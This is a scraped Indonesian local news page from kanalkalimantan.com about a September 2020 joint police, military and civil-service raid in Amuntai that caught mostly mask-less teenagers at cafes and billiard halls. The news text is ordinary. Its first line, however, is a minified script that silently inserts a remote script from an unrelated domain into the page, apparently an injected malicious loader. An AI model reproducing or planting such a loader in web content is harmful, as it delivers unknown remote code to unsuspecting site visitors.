(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sidak Cafe dan Billiard di Amuntai, Pelanggar Protokol Kesehatan Didominasi Remaja


KANALKALIMANTAN.COM, AMUNTAI – Puluhan remaja kembali terjaring operasi Yustisi pendisiplinan dan penegakan hukum protokol kesehatan petugas gabungan Polres Hulu Sungai Utara (HSU), Kodim 1001/Amuntai dan Sat Pol-PP HSU. Kali ini, operasi menyasar cafe, tempat billiard dan warung di beberapa lokasi di wilayah Kota Amuntai, Jumat (18/9/2020) malam.

Seperti sebelumnya, operasi kali ini dipimpin oleh langsung Kapolres HSU AKBP Afri Darmawan, didampingi Dandim 1001/Amuntai Lekol Inf.Ali Ahmad Satriyadi, Kasat Pol PP Kabupaten HSU Jumadi, dengan menurunkan 13 petugas dari Polres HSU, 10 orang dari Anggota Kodim dan Sat Pol PP sebanyak 15 orang.

Hasil operasi yustisi pelanggar Perbup HSU No.37.Th.2020, didominasi remaja yang tidak memakai masker saat beraktifias di Cafe House RR, Cafe Twin Coffe, Bilyard Mata Dewa, Restoran BBQ, kumpulan remaja di depan Mini Market Berkah.

Kapolres HSU AKBP Afri Darmawan melalui Kasubag Humas Iptu Alam SW menuturkan, operasi yustisi ini mengacu pada Instruksi Presiden Nomor 6 Tahun 2020 tentang Peningkatan Pendisiplinan dan Penegakan Hukum Protokol Kesehatan.

Hal ini juga, kata Iptu Alam terkait Peraturan Bupati HSU Nomor 37 Tahun 2020 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan Sebagai Upaya Pencegahan dan Pengendalian Covid-19 di Kabupaten HSU

“Operasi yustisi pendisiplin dan penegakan hukum protokol kesehatan ini dilakukan agar warga betul-betul disiplin mematuhi protokol kesehatan dan apabila ditemukan pelanggaran tidak memakai masker maka ada sanksi,” tegasnya.

Selain diberikan teguran lisan juga diberikan teguran secara tertulis, yang kali ini para remaja milih sanksi pembinaan fisik secara terukur yakni push up 20 orang dan sanksi sosial 11 orang oleh Satpol PP.

“Kita juga kembali diingatkan untuk tetap mematuhi protokol kesehatan dengan wajib memakai masker apabila keluar rumah, jaga jarak serta hindari kerumunan demi memutus penyebaran Covid- 19,” pungkasnya. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.